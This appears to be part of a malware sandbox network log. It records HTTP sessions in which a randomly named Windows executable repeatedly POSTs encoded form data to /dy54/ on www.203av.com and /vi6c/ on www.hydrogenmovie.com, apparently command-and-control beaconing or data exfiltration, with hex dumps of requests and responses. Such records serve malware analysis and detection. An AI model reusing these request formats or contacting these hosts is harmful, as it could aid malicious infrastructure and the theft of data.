Jul 1, 2024 16:18:08.266159058 CEST	492	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 01 Jul 2024 14:18:07 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49760	45.207.12.95	80	3608	C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 16:18:09.886069059 CEST	790	OUT	POST /dy54/ HTTP/1.1 Host: www.203av.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.203av.com Cache-Control: no-cache Connection: close Content-Length: 228 Content-Type: application/x-www-form-urlencoded Referer: http://www.203av.com/dy54/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 34 64 56 34 33 74 41 3d 71 54 48 68 4d 6e 48 53 74 31 46 6b 70 30 76 58 6b 42 49 36 46 4f 6e 56 4a 50 68 70 73 59 6a 73 64 48 76 4a 63 31 41 71 42 59 6b 68 68 76 6a 76 50 49 42 33 44 53 62 53 43 6d 51 2b 4d 6f 35 70 47 66 76 4a 57 6b 46 53 79 4b 36 6b 73 75 6a 42 51 30 46 4d 2f 6c 4f 45 4e 35 4b 74 77 78 30 75 73 76 46 41 2f 71 38 56 58 76 35 74 2f 32 59 4e 51 78 4f 74 6d 30 72 43 31 62 64 6c 76 64 4d 7a 38 4e 66 72 52 31 47 4d 57 4b 36 43 42 49 64 4a 52 37 34 2b 55 65 6e 42 76 4b 2f 2b 59 43 68 6d 7a 43 59 58 4d 64 79 6f 33 6b 52 6c 39 4f 7a 71 36 73 2f 56 6b 69 37 49 5a 75 62 6a 66 71 52 41 30 54 52 62 50 32 6b 52 39 68 46 6b 56 63 32 68 65 53 73 68 6f 4b 45 49 74 78 33 41 Data Ascii: 4dV43tA=qTHhMnHSt1Fkp0vXkBI6FOnVJPhpsYjsdHvJc1AqBYkhhvjvPIB3DSbSCmQ+Mo5pGfvJWkFSyK6ksujBQ0FM/lOEN5Ktwx0usvFA/q8VXv5t/2YNQxOtm0rC1bdlvdMz8NfrR1GMWK6CBIdJR74+UenBvK/+YChmzCYXMdyo3kRl9Ozq6s/Vki7IZubjfqRA0TRbP2kR9hFkVc2heSshoKEItx3A
Jul 1, 2024 16:18:10.806495905 CEST	492	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 01 Jul 2024 14:18:10 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49761	45.207.12.95	80	3608	C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 16:18:12.417527914 CEST	1807	OUT	POST /dy54/ HTTP/1.1 Host: www.203av.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.203av.com Cache-Control: no-cache Connection: close Content-Length: 1244 Content-Type: application/x-www-form-urlencoded Referer: http://www.203av.com/dy54/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 34 64 56 34 33 74 41 3d 71 54 48 68 4d 6e 48 53 74 31 46 6b 70 30 76 58 6b 42 49 36 46 4f 6e 56 4a 50 68 70 73 59 6a 73 64 48 76 4a 63 31 41 71 42 59 38 68 68 38 72 76 4f 72 70 33 4e 79 62 53 4c 47 51 2f 4d 6f 34 70 47 65 4c 4e 57 6b 4a 43 79 4d 6d 6b 75 4d 72 42 57 46 46 4d 6d 56 4f 45 43 5a 4b 73 30 78 31 71 73 76 56 45 2f 71 4d 56 58 76 35 74 2f 31 77 4e 55 67 4f 74 6b 30 72 42 38 37 64 70 39 74 4d 4c 38 4a 7a 42 52 30 48 7a 57 61 61 43 41 6f 4e 4a 64 74 45 2b 4c 75 6e 44 73 4b 2f 59 59 43 73 38 7a 43 45 68 4d 63 48 7a 33 6d 42 6c 34 35 50 78 75 50 48 46 78 6a 61 73 61 4f 62 68 4b 4c 6c 79 2f 67 52 2b 45 57 39 79 78 46 5a 66 57 72 65 67 59 78 56 58 37 39 4a 59 71 6d 7a 4f 57 68 58 6d 34 70 78 6c 6c 58 53 7a 68 35 75 45 70 6f 6a 6f 4c 54 42 35 55 46 57 39 61 51 62 45 76 2b 71 5a 6f 73 42 4f 45 6e 7a 2f 64 73 6b 45 6a 73 5a 6a 79 67 74 2f 34 65 39 2b 6b 2f 58 33 61 52 5a 6c 4e 30 58 6d 6f 50 66 6f 55 31 4b 33 6b 4c 48 62 51 48 32 38 37 6e 57 50 70 59 72 53 71 5a 41 77 51 32 66 51 67 62 6d 33 64 70 [TRUNCATED] Data Ascii: 4dV43tA=qTHhMnHSt1Fkp0vXkBI6FOnVJPhpsYjsdHvJc1AqBY8hh8rvOrp3NybSLGQ/Mo4pGeLNWkJCyMmkuMrBWFFMmVOECZKs0x1qsvVE/qMVXv5t/1wNUgOtk0rB87dp9tML8JzBR0HzWaaCAoNJdtE+LunDsK/YYCs8zCEhMcHz3mBl45PxuPHFxjasaObhKLly/gR+EW9yxFZfWregYxVX79JYqmzOWhXm4pxllXSzh5uEpojoLTB5UFW9aQbEv+qZosBOEnz/dskEjsZjygt/4e9+k/X3aRZlN0XmoPfoU1K3kLHbQH287nWPpYrSqZAwQ2fQgbm3dpcDVvyGnuLvC0CvevuXnJQCc43AhwFcDtDOgYG/B/QaW4Zg7JVgtC+jFMhlmQAlTpXKU3nlbVuM/BQZkpaHTUc/iSpaXkTHr9KSivzqSCi55RCf0XYW2YtVOpIS/4srxhWjdTK+JgHDwS9qC7UX3qGpx0KK3O0I0w1RztZuvDtinCr/cn8lcvwaDX4hI0k5p7ahrdBEg4jgU2vr1R/i4/RtSIgZnVW/oDfidyITosEB1pBu22dtECkCj5c2vLB6KvTMCdnnqdP/wBwTkiospDPxlOp2diFkuli4ynbGqJTKEV9Bpg2lpDrODKQ2ZxcSl8qXXwvu/F+5TxFcZ8YLHkyVIFWEV4EInBccETj8vgWbIqSCOFQ8IZsj+1hfYuFm8iFPv4Mif9OFYLUbA303Q1GE4uBuKeXt5aKrgd2lewXp75CW21Y4jP3YgLuPNFzE9PqQ0Pv6EsJd1bJ8LH56PHQXTawKLQ98URl08hTa8kUbfOVtwrUtaGzYlGjvO6biCN5t2AW1+zQZNoFD4mok9uNfIHVDhWHg5xLubdjzjW9lhqkJg2K4zElz1zvHA/7oTBUyvEaGIEjgk9C/Ac/LlL3Y1ZQlVySYqCD31u9GI1tDgNoeZLBEM5hRHIaDijUhywm6KAF0A0ggGQEMR1kD7qOWrFH2cIGABLDV [TRUNCATED]
Jul 1, 2024 16:18:13.333486080 CEST	492	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 01 Jul 2024 14:18:12 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49762	45.207.12.95	80	3608	C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 16:18:14.951992989 CEST	524	OUT	GET /dy54/?3hkl=slNhbLXpBjO8vl&4dV43tA=nRvBPTzlzGF4n3rt1QttF4nrN+JQ8KTHZyrUcXxxKI8o38P7J7J9FRPNIVc1TZhiGrLUOXxy1Ju1j9DdTlskr3z+VILb9gUTk9d2pc0Ee/hjvnETVBSGl3uD2JlRjMFEvQ== HTTP/1.1 Host: www.203av.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
Jul 1, 2024 16:18:15.845623016 CEST	492	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 01 Jul 2024 14:18:14 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49763	81.95.96.29	80	3608	C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 16:18:21.028650999 CEST	794	OUT	POST /vi6c/ HTTP/1.1 Host: www.hydrogenmovie.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.hydrogenmovie.com Cache-Control: no-cache Connection: close Content-Length: 208 Content-Type: application/x-www-form-urlencoded Referer: http://www.hydrogenmovie.com/vi6c/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 34 64 56 34 33 74 41 3d 57 65 33 65 49 30 41 4b 34 4c 47 32 30 32 6d 2f 31 76 4a 66 39 37 5a 7a 65 36 30 30 39 75 4a 38 74 70 53 57 77 36 66 76 68 33 6f 2f 6e 45 71 43 51 4f 54 33 43 2f 4f 49 45 79 42 33 4b 66 48 64 65 4f 67 4d 35 32 49 57 68 42 6c 6b 72 6c 33 2f 74 68 45 4d 65 67 62 63 36 4b 4c 43 58 76 50 54 73 48 62 6c 77 55 62 65 49 7a 36 62 6a 6c 77 7a 71 59 37 50 57 48 56 61 54 2f 68 62 45 34 68 6d 6f 63 49 44 77 64 39 57 52 43 67 32 2b 45 51 78 38 66 42 63 58 34 4f 52 55 38 69 4d 45 66 46 56 73 45 74 65 48 5a 58 51 4b 42 58 77 70 46 54 46 51 61 4d 2f 58 4d 50 70 6a 39 5a 48 34 37 52 33 79 64 38 52 34 6f 4d 3d Data Ascii: 4dV43tA=We3eI0AK4LG202m/1vJf97Zze6009uJ8tpSWw6fvh3o/nEqCQOT3C/OIEyB3KfHdeOgM52IWhBlkrl3/thEMegbc6KLCXvPTsHblwUbeIz6bjlwzqY7PWHVaT/hbE4hmocIDwd9WRCg2+EQx8fBcX4ORU8iMEfFVsEteHZXQKBXwpFTFQaM/XMPpj9ZH47R3yd8R4oM=
Jul 1, 2024 16:18:21.713047981 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 14:18:21 GMT Server: Apache Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 4981 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 5c cd 73 1b b7 92 3f 2b 55 f9 1f 10 ba 1c 59 b5 02 bf f4 2d 4b ca 73 6c e5 3d af e3 8f 8d bc 49 6d 2e 2e cc 0c 48 42 9c 01 e6 01 33 14 c9 3c df 77 ab d6 f7 cd fa b2 3a fa a0 ca 61 6f af ea e5 42 e9 ff da 06 30 43 ce 0c 87 12 a9 8f ac f3 e1 84 d4 0c 06 e8 6e 00 dd bf ee 06 c0 d9 eb 44 81 7f f0 e9 27 9f 7e b2 d7 a1 c4 83 ab a5 3d 87 28 8a 3a 92 b6 f6 2b b5 8a 29 09 68 44 90 db 21 52 d1 68 bf 12 47 2d bc 5d 31 8d 96 f6 22 16 f9 f4 e0 d1 e3 d7 4f bf 3d 44 cd f5 55 a4 aa b2 2a aa 7b 35 fb c0 56 32 ed 39 09 e8 7e a5 c7 e8 49 28 64 54 41 ae e0 11 e5 40 ef 84 79 51 67 df a3 3d e6 52 6c 6e 56 11 e3 2c 62 c4 c7 ca 25 3e dd 6f 64 c4 b0 64 9e d1 c1 89 90 9e ca 90 99 aa f3 84 2a 57 b2 30 62 82 67 aa 4d 89 3a d5 ee 51 1c 75 84 5c a8 c9 cb 13 4e 2f 6d 81 d2 f1 fa 0c 63 d4 22 d0 55 c1 91 8a 88 8c 10 c6 86 9a cf 78 17 49 ea ef 57 48 18 fa 14 47 22 76 3b 58 d7 ab 20 c5 86 54 ed 57 36 b6 fa 1b 5b 95 64 6a 3a 51 14 aa dd 5a ad 1d b3 2a 71 23 d6 a3 cd f5 aa 3b ac b1 a0 5d d3 ad 6a a4 b9 [TRUNCATED] Data Ascii: \s?+UY-Ksl=Im..HB3<w:aoB0CnD'~=(:+)hD!RhG-]1"O=DU{5V29~I(dTA@yQg=RlnV,b%>oddW0bgM:Qu\N/mc"UxIWHG"v;X TW6[dj:QZq#;]j-6!oWYoo_VG~1phs6}utF}&\-nlh-2S4nX@+Y;ux]Zv=w6;jnchZNf\|E3h_3>~ks\|%K@r:4LhS4j\|H"5C55?EjxZ/z[6]kZ[Avq^m\BD#D"IB}h`rB.Wu.W\@4M.cP-$,}=`.X.KAJDm!>%!S~"!}uv-g>kvtLJUA K~)wrQGTQ5B.&RR-,G=,B[UC\|iaQdLoFDu^;C=eN~g##AU@#QqYUh@!P4Z4X]X#m}QWHxA0vc mD6aM [TRUNCATED]
Jul 1, 2024 16:18:21.713067055 CEST	1236	IN	Data Raw: ec f3 94 66 59 95 94 af a5 51 2e 4b bd 5c 10 68 b2 50 97 1a f0 a4 94 90 ad 90 d0 2a 1b 88 6c 2b 4f 8a d0 13 27 1c 07 94 c7 49 1b 8f a9 d0 27 a0 06 2d 9f 26 cc f5 15 f6 98 a4 ae 9d 21 98 db 38 b0 f3 0f 4a 24 61 ba 40 20 18 0f 25 7c e6 a1 7b f5 ba Data Ascii: fYQ.K\hPl+O'I'-&!8J$a@ %\|{MdB%DhG4uI\F:qm)@CpJ:B1hUnJ6J\|}J&]k$V\+L.JKLs)\i[=C*]H3/hY^:_bmM,C/#mE/isb
Jul 1, 2024 16:18:21.713078976 CEST	1236	IN	Data Raw: 01 2e 08 14 01 fe 8e 3e 70 a2 95 1d 1d 53 34 84 e4 a6 cd 14 e8 4f 8f f0 d1 29 0a 25 74 e8 e2 47 ea 71 e6 46 bd d1 59 80 6c 03 d1 1b 7d e8 08 a4 a3 bf d1 a9 1f 5f cd b0 32 39 c3 a1 79 55 f7 6a e1 35 2d a2 54 33 7c 90 a1 10 6d 5f a6 48 76 5b 4b 4f Data Ascii: .>pS4O)%tGqFYl}_29yUj5-T3\|m_Hv[KO<,_HR\|-cJ99X7v\90wNz}p[*o55eme-t_&-dSwx40s"YBi6 fIH5@^
Jul 1, 2024 16:18:21.713089943 CEST	1236	IN	Data Raw: d1 63 02 38 d2 15 3e 8c e5 31 e3 00 29 d0 45 bd 1d 31 ce 4c aa e8 95 08 04 84 3c 63 6e cf a1 b3 29 3b 88 8c 44 31 fe b1 c3 31 30 12 84 c2 04 37 03 9d d9 68 10 84 ac a6 27 7c ca 45 9c 04 3b a2 07 97 c4 93 54 c5 1f 1b 54 15 53 9b a4 cf 46 ec e4 fa Data Ascii: c8>1)E1L<cn);D1107h'\|E;TTSF+\|OtAM~8::\|\|)4$"fA>&z,@jD<S@6qeJ1R8zP8p8en\|h_F-"K<y,9!q
Jul 1, 2024 16:18:21.713099003 CEST	237	IN	Data Raw: a8 0a 26 7e e8 53 7d f9 e5 e0 a9 f7 60 39 fd 29 d8 f2 4a d5 fc 32 fa 35 ed 47 68 1f 9d 30 ee 89 93 aa 2f ec 6b f6 aa 69 35 f4 b7 bf a1 8a 39 d6 92 09 e4 ec bb 2e 7a 44 a2 f4 97 c3 af cd cf 95 81 ce 4c be d9 1f 1e 27 ef eb ca 12 98 a7 a9 89 cb 96 Data Ascii: &~S}`9)J25Gh0/ki59.zDL';wz4j>=J}UbG>t>KdMX4XO*w,.$fIeIEAR_oDoNsW$w31Y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49764	81.95.96.29	80	3608	C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 16:18:23.559108973 CEST	814	OUT	POST /vi6c/ HTTP/1.1 Host: www.hydrogenmovie.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.hydrogenmovie.com Cache-Control: no-cache Connection: close Content-Length: 228 Content-Type: application/x-www-form-urlencoded Referer: http://www.hydrogenmovie.com/vi6c/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 34 64 56 34 33 74 41 3d 57 65 33 65 49 30 41 4b 34 4c 47 32 30 57 32 2f 33 4f 4a 66 37 62 5a 30 48 4b 30 30 6d 65 4a 77 74 70 65 57 77 37 61 71 6d 46 4d 2f 69 52 57 43 52 4c 7a 33 48 2f 4f 49 4c 53 42 2b 48 2f 48 43 65 4f 73 45 35 32 45 57 68 42 68 6b 72 6e 66 2f 74 57 51 50 66 77 62 43 79 71 4c 36 4a 66 50 54 73 48 62 6c 77 55 66 34 49 79 53 62 6a 31 41 7a 73 35 37 4d 49 33 56 5a 61 66 68 62 58 6f 68 71 6f 63 49 68 77 59 5a 34 52 45 73 32 2b 47 49 78 39 4b 31 54 64 34 4f 62 62 63 6a 65 41 4b 77 45 67 45 67 53 50 59 4f 43 53 43 7a 6d 68 54 2b 76 4b 34 45 58 45 73 6a 52 7a 75 52 77 70 4c 77 65 6f 2b 73 68 6d 2f 62 6e 7a 34 7a 65 2b 39 50 36 4e 33 68 5a 63 6b 68 33 42 74 6e 34 Data Ascii: 4dV43tA=We3eI0AK4LG20W2/3OJf7bZ0HK00meJwtpeWw7aqmFM/iRWCRLz3H/OILSB+H/HCeOsE52EWhBhkrnf/tWQPfwbCyqL6JfPTsHblwUf4IySbj1Azs57MI3VZafhbXohqocIhwYZ4REs2+GIx9K1Td4ObbcjeAKwEgEgSPYOCSCzmhT+vK4EXEsjRzuRwpLweo+shm/bnz4ze+9P6N3hZckh3Btn4
Jul 1, 2024 16:18:24.248047113 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 14:18:24 GMT Server: Apache Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 4981 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 5c cd 73 1b b7 92 3f 2b 55 f9 1f 10 ba 1c 59 b5 02 bf f4 2d 4b ca 73 6c e5 3d af e3 8f 8d bc 49 6d 2e 2e cc 0c 48 42 9c 01 e6 01 33 14 c9 3c df 77 ab d6 f7 cd fa b2 3a fa a0 ca 61 6f af ea e5 42 e9 ff da 06 30 43 ce 0c 87 12 a9 8f ac f3 e1 84 d4 0c 06 e8 6e 00 dd bf ee 06 c0 d9 eb 44 81 7f f0 e9 27 9f 7e b2 d7 a1 c4 83 ab a5 3d 87 28 8a 3a 92 b6 f6 2b b5 8a 29 09 68 44 90 db 21 52 d1 68 bf 12 47 2d bc 5d 31 8d 96 f6 22 16 f9 f4 e0 d1 e3 d7 4f bf 3d 44 cd f5 55 a4 aa b2 2a aa 7b 35 fb c0 56 32 ed 39 09 e8 7e a5 c7 e8 49 28 64 54 41 ae e0 11 e5 40 ef 84 79 51 67 df a3 3d e6 52 6c 6e 56 11 e3 2c 62 c4 c7 ca 25 3e dd 6f 64 c4 b0 64 9e d1 c1 89 90 9e ca 90 99 aa f3 84 2a 57 b2 30 62 82 67 aa 4d 89 3a d5 ee 51 1c 75 84 5c a8 c9 cb 13 4e 2f 6d 81 d2 f1 fa 0c 63 d4 22 d0 55 c1 91 8a 88 8c 10 c6 86 9a cf 78 17 49 ea ef 57 48 18 fa 14 47 22 76 3b 58 d7 ab 20 c5 86 54 ed 57 36 b6 fa 1b 5b 95 64 6a 3a 51 14 aa dd 5a ad 1d b3 2a 71 23 d6 a3 cd f5 aa 3b ac b1 a0 5d d3 ad 6a a4 b9 [TRUNCATED] Data Ascii: \s?+UY-Ksl=Im..HB3<w:aoB0CnD'~=(:+)hD!RhG-]1"O=DU{5V29~I(dTA@yQg=RlnV,b%>oddW0bgM:Qu\N/mc"UxIWHG"v;X TW6[dj:QZq#;]j-6!oWYoo_VG~1phs6}utF}&\-nlh-2S4nX@+Y;ux]Zv=w6;jnchZNf\|E3h_3>~ks\|%K@r:4LhS4j\|H"5C55?EjxZ/z[6]kZ[Avq^m\BD#D"IB}h`rB.Wu.W\@4M.cP-$,}=`.X.KAJDm!>%!S~"!}uv-g>kvtLJUA K~)wrQGTQ5B.&RR-,G=,B[UC\|iaQdLoFDu^;C=eN~g##AU@#QqYUh@!P4Z4X]X#m}QWHxA0vc mD6aM [TRUNCATED]
